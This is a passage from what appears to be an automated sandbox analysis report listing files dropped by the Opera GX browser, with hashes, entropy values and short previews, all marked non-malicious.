                                                                                                                                                                                                              SHA-256:0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
                                                                                                                                                                                                              SHA-512:8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MANIFEST-000001.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Sync Data\LevelDB\000003.log

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):46
                                                                                                                                                                                                              Entropy (8bit):4.019797536844534
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:90881C9C26F29FCA29815A08BA858544
                                                                                                                                                                                                              SHA1:06FEE974987B91D82C2839A4BB12991FA99E1BDD
                                                                                                                                                                                                              SHA-256:A2CA52E34B6138624AC2DD20349CDE28482143B837DB40A7F0FBDA023077C26A
                                                                                                                                                                                                              SHA-512:15F7F8197B4FC46C4C5C2570FB1F6DD73CB125F9EE53DFA67F5A0D944543C5347BDAB5CCE95E91DD6C948C9023E23C7F9D76CFF990E623178C92F8D49150A625
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:...n'................_mts_schema_descriptor...

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Sync Data\LevelDB\CURRENT (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):16
                                                                                                                                                                                                              Entropy (8bit):3.2743974703476995
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:46295CAC801E5D4857D09837238A6394
                                                                                                                                                                                                              SHA1:44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
                                                                                                                                                                                                              SHA-256:0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
                                                                                                                                                                                                              SHA-512:8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MANIFEST-000001.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Sync Data\LevelDB\LOG

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):293
                                                                                                                                                                                                              Entropy (8bit):5.296665981017635
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:016D52658D6E94C6C71B9B19B62A5DDA
                                                                                                                                                                                                              SHA1:F18B00BF56C44DBD901A2545C0FEA165346C070E
                                                                                                                                                                                                              SHA-256:257008E493771416492005F7AC6C53DB7B4454AB9F4B5C25B02DF8F2B60BCE5D
                                                                                                                                                                                                              SHA-512:6B23C04AA073FB7D8F183CD7AA611B7406514816A69F7223F2A8C47C52719990E064A50005F91BD86C0796BAB81A1F9E7642976A38010DF4BC2E5F207DA2970F
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:2024/10/13-04:34:08.096 187c Creating DB C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Sync Data\LevelDB since it was missing..2024/10/13-04:34:08.139 187c Reusing MANIFEST C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Sync Data\LevelDB/MANIFEST-000001.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Sync Data\LevelDB\MANIFEST-000001

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:OpenPGP Secret Key
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):41
                                                                                                                                                                                                              Entropy (8bit):4.704993772857998
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5AF87DFD673BA2115E2FCF5CFDB727AB
                                                                                                                                                                                                              SHA1:D5B5BBF396DC291274584EF71F444F420B6056F1
                                                                                                                                                                                                              SHA-256:F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
                                                                                                                                                                                                              SHA-512:DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.|.."....leveldb.BytewiseComparator......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Variations

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):86
                                                                                                                                                                                                              Entropy (8bit):4.3751917412896075
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:961E3604F228B0D10541EBF921500C86
                                                                                                                                                                                                              SHA1:6E00570D9F78D9CFEBE67D4DA5EFE546543949A7
                                                                                                                                                                                                              SHA-256:F7B24F2EB3D5EB0550527490395D2F61C3D2FE74BB9CB345197DAD81B58B5FED
                                                                                                                                                                                                              SHA-512:535F930AFD2EF50282715C7E48859CC2D7B354FF4E6C156B94D5A2815F589B33189FFEDFCAF4456525283E993087F9F560D84CFCF497D189AB8101510A09C472
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":0}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Visited Links

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):131072
                                                                                                                                                                                                              Entropy (8bit):0.0033616753448762224
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:9AEDE5A32F551800788FB2F83BE31F1E
                                                                                                                                                                                                              SHA1:914DE9BAF561F752E8CD3DB9E2A4A060E08D866B
                                                                                                                                                                                                              SHA-256:8DA87ABB4748BA23B09EF1C7A7DF5991C847DF6D618A996A87AA2636B7972785
                                                                                                                                                                                                              SHA-512:29F21BF6A4D5794D81A60D33E26521B19D3D54FBCA0C80445DBDD9A37C6E137EFBA4B36AFAAB916532FB3F8F1B9908DC4DB6571E5D33923D811598F2BE700721
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:VLnk.....?............!.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Web Data

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:SQLite 3.x database, last written using SQLite version 3045002, page size 2048, file counter 2, database pages 67, cookie 0x2a, schema 4, UTF-8, version-valid-for 2
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):137216
                                                                                                                                                                                                              Entropy (8bit):0.8810929719270382
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:3917BAB1A3CDC0E01F55BFA65FBE5C09
                                                                                                                                                                                                              SHA1:C35CA998EF3CA0BA67A8E96C8C8769883E341064
                                                                                                                                                                                                              SHA-256:D2968A69AAE9F6F0878AEA51A566582CF04317F7016BD4B9FC26F7AF6A7A9936
                                                                                                                                                                                                              SHA-512:96AEB45353CFBB524BFE42E02DA011A119938884DB1C28EC8365CD6D4FFB352FE4087DD6E2E52B3E933C5628CF4C5393230518386E241B127A6AEBEE128A17F9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:SQLite format 3......@ .......C...........*......................................................v............>........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\WebStorage\QuotaManager

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:SQLite 3.x database, last written using SQLite version 3045002, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):40960
                                                                                                                                                                                                              Entropy (8bit):0.5833878111050966
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:987EE7C74DF5BC8FFEAB1E5336018A35
                                                                                                                                                                                                              SHA1:56DEB2F186DD960CC67A82D1AF6AD41DEF4452B0
                                                                                                                                                                                                              SHA-256:757D4960B5014CED10D984617C61EA27880CC202C23E25F805F58E4FBB76D2E3
                                                                                                                                                                                                              SHA-512:5521E66D2CE394256AA5C5937A411E4A399020D1E65E730F9445A008136D44FE754E0218B680EE419BBA60FC16FA0038BD6B1F99845FB066F57822B54C6FA4C8
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:SQLite format 3......@ ..........................................................................v.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\WebStorage\QuotaManager-journal

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):12824
                                                                                                                                                                                                              Entropy (8bit):0.3667148745008137
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:980644816080E38BA7447CA863D3E11B
                                                                                                                                                                                                              SHA1:EF152750C78B22810D91137E10094E328AB22ED9
                                                                                                                                                                                                              SHA-256:AADE460BCE64CEBE40030E4EB7E099C1003330EFC3B2B6B0EF4ECD78906BE29E
                                                                                                                                                                                                              SHA-512:17F58DD14C195AFE93D241702CAC943515C35B7F7A0A7756523ABEC70FEE94F2EF218787F1A0A6BCAAD29FE6E08791CFA8AA204BB7DE622ED4223EC9D8A781C1
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............!..f........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\a4003fe2-4274-4be7-916b-9bf6b891cef5.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1467)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1515
                                                                                                                                                                                                              Entropy (8bit):5.707687129227347
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:CA9496CA1E861D2A1B3CB0BE9D7A7121
                                                                                                                                                                                                              SHA1:F895856013811A9A85DF6FC4B4AD1C4D6D28D7B5
                                                                                                                                                                                                              SHA-256:3BBB29BD1033DA8EE26D48254F588147BC7752059CDFC1EE60C874341AD3F078
                                                                                                                                                                                                              SHA-512:BF5726D97F8B8753EAD9E7494B4EDABD46C27334613FD80CDBA3F013B722E6DDD2DD2218DDFC0A0960E362A508EC91B84793C7B35D3C83CC02602833B0E7BD13
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// bpyseweNyl+5je8kkfPAuvCvT268lWJaNzuz/oTAPMw=.{"IsDefaultBrowser":true,"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":3},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":4}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":5}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":5}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":4}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":5}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":5}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":5}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":5}},"https://www.instant-gaming.com/":{"cA2lwEw

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\a4cfc809-ae50-4448-8334-29f35a0cc53f.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1467)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1515
                                                                                                                                                                                                              Entropy (8bit):5.712510797648129
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:4792129DF81EEAECAA3A33D62C18D7A9
                                                                                                                                                                                                              SHA1:182F4D4096E4F3BEF059D60ADA69B0586C7B50C7
                                                                                                                                                                                                              SHA-256:F2F782ECB2CE1F9551B6115B798FE2E283331F3A056BC95FB421FBDD9385173D
                                                                                                                                                                                                              SHA-512:10892D96877E2AE7393C27CF227EE718EEB0986493B016AB15DB3EB8056235A22BE4F5DACBDF69D995FABC078F46D335A0F389E67B7BA1C4D4C6CBF65A4E1452
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// tUu3rDTxy9ec+9WBjoEKs7lhvZn4FWzX/iqKJXNIuqA=.{"IsDefaultBrowser":true,"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":3},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":3}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":4}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":4}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":3}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":4}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":4}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":4}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":4}},"https://www.instant-gaming.com/":{"cA2lwEw

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\a51ec6aa-5a9a-4983-a0c1-da0340a3aa67.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1341)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1389
                                                                                                                                                                                                              Entropy (8bit):5.749430373448511
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:9E537B9A57A871482E3D6832231ED891
                                                                                                                                                                                                              SHA1:E1E0F4FDCCA35B7936EE2B6A10C9DEECB0D9D617
                                                                                                                                                                                                              SHA-256:723CFEC27B8E0772577B0B2BFCDBD3209FEC4C9DA9EA0A060D246678D867F005
                                                                                                                                                                                                              SHA-512:B5DC9B8E529D7E3B53894B8A1EA6016816CEF4D8122CD39375B8769F498C49B02143F5C72E3AF6031552038B63243D65A9D2D8A38BAACC578E719FFAE15336C8
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// n+2jnWXbouOH3zupkLvs71EeYi85Krsitc3Aj4W4VoM=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":2},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":2}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":2}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":2}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":1}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":2}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":2}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":2}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":2}},"https://www.instant-gaming.com/":{"cA2lwEw6hf0i74WSE38/4rTXeogcnS5

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\a89557f6-303c-474e-b275-6c2709801f93.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (2881)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2929
                                                                                                                                                                                                              Entropy (8bit):4.881395425359552
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:E4F8B3EA6BEBBE7497F48530CE3337F2
                                                                                                                                                                                                              SHA1:EF87A2D7639F815880AE69E050AF7659AA2CFEAD
                                                                                                                                                                                                              SHA-256:880743E2C8AC70638391C88146C36216E87D402B073A009069F2713B7BAEF390
                                                                                                                                                                                                              SHA-512:81CD586B8A88970C7550A80E0EC6618A8FC28FCA3432D3821AD146ECF6E9C7EAE556E47CAFAF27C1F58C474B871BF29EC6B89330C60B471DBE8B79B1CB57DE77
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// E/PodoiomFS3vrIWEymRom7lMN9c/4MBsgH95SKvT30=.{"ABTests":{"Tests":{"DNA-112027":"DNA-112027-gx-mission-widget-off","DNA-99214_GXCTest50":"GXCTest50-ref"}},"Features":{"RemotelyEnabled":["address-bar-dropdown-autocompleted-domains:disabled","address-bar-dropdown-unfiltered-full:disabled","amazon-new-ids","capital-one-cashback-protection","cashback-assistant","continue-on-booking","continue-on-shopping-via-amp:disabled","continue-shopping","continue-shopping-2","continue-shopping-5","continue-shopping-structured-partners","feature-remote-disable-updates-testing-flag:disabled","feature-remote-updates-testing-flag","game-servers:disabled","gx-post-mortem","gx-reactinator","gx-spotlight","gx-video-to-phone","lucid-mode-hide-text","panic-button","password-generator:disabled","play-again","realtime-impressions-reporting","run-at-startup-default","sd-suggestions-external","session-restore-attribution","side-profiles","sitecheck-age","tiktok-panel","ui-compositor-multithreaded"],"UserDecision

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\aa1b6473-0b80-4ead-a697-3a5f0396131b.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (3369)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):3417
                                                                                                                                                                                                              Entropy (8bit):4.961318379543896
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:E9EFADCADE74D8F41569C185F457186D
                                                                                                                                                                                                              SHA1:DB1E250E2C51838D997200C3B3CBF76FE9C310CA
                                                                                                                                                                                                              SHA-256:F4FB77693F2B1458CCC9BE74FC701D31102F99534CD4966C56B12042AAB90E72
                                                                                                                                                                                                              SHA-512:3FB15E40EB1D1FDE5DFA79C85FB03E9BB910506734CC412F4D85D8EB8239F3AEDE7AA6190CC8A712D8CDED3B1C08216B2AFC995822D16ECC1F742C0E08EB0760
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// V01ElsxEiYHBjyR0j7ADn9z2AnElD60jzoiB58tSwho=.{"ABTests":{"Tests":{"DNA-112027":"DNA-112027-gx-mission-widget-off","DNA-99214_GXCTest50":"GXCTest50-ref"}},"Extensions":{"ActiveExternalExtensionsInfo":{},"ActiveWebstoreExtensionsInfo":{},"BlacklistedExtensionsInfo":{},"CVBlockedExtensionsInfo":{},"CVUnverifiableExtensionsInfo":{},"TotalCount":0},"Features":{"RemotelyEnabled":["address-bar-dropdown-autocompleted-domains:disabled","address-bar-dropdown-unfiltered-full:disabled","amazon-new-ids","capital-one-cashback-protection","cashback-assistant","continue-on-booking","continue-on-shopping-via-amp:disabled","continue-shopping","continue-shopping-2","continue-shopping-5","continue-shopping-structured-partners","feature-remote-disable-updates-testing-flag:disabled","feature-remote-updates-testing-flag","game-servers:disabled","gx-post-mortem","gx-reactinator","gx-spotlight","gx-video-to-phone","lucid-mode-hide-text","panic-button","password-generator:disabled","play-again","realtime-imp

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\aa7d98a6-b947-43f7-bad9-b2fa3083330f.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1430)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1478
                                                                                                                                                                                                              Entropy (8bit):5.72116873502195
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:829C74ACD832EE0AD1FA4435EC137BAB
                                                                                                                                                                                                              SHA1:E4838A7084597E21A188A5D8D9B6295880175B53
                                                                                                                                                                                                              SHA-256:A332E9E1F4F74221F19080210B64BE6473C7C0F6CCD1FE1B388FA26BC2A145C3
                                                                                                                                                                                                              SHA-512:5211560B7F47D3BB09FA75A1693D53E098BCF11B6FB3DD2282414F6F4F27406D50C5E58FB722253368A5BDA2D414F1CAC1FDAF05E24A67D0863626EAB5024378
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// nbWiRBEmG/4An4G3m6OfsxDi719Lvlqz/Bpv10ulTQQ=.{"IsDefaultBrowser":true,"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":3},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":3}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":3}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":3}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":3}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":3}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":3}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":3}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":3}},"https://www.instant-gaming.com/":{"cA2lwEw

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\b1469f63-ae25-47fd-b2a7-b4bb01cd66f8.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1341)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1389
                                                                                                                                                                                                              Entropy (8bit):5.760277651690073
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:4BEF1468DE73CC198CCC2F7E849D74F7
                                                                                                                                                                                                              SHA1:C5B7F0CC03F1E5E3178D510A544DAA1096811CAD
                                                                                                                                                                                                              SHA-256:CDA1B0965BAF5517CAA3327CB0A3EAF246F432B5D2380C6D76920E0C94EACCDE
                                                                                                                                                                                                              SHA-512:ACC67014CAEF84DC5C40336CEDD2106B5C16F463207C2822A436487C45E52ACD5EA1C820552CC994403E4186A535B97039B697B9894349AA15B3C73B032AE488
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// P+i6DbXYC3YSlIPMLFyI/blfH5F11zTyCXMiGMMP4mc=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":2},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":1}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":2}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":2}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":1}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":1}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":2}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":2}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":2}},"https://www.instant-gaming.com/":{"cA2lwEw6hf0i74WSE38/4rTXeogcnS5

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\browser.js

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):19621
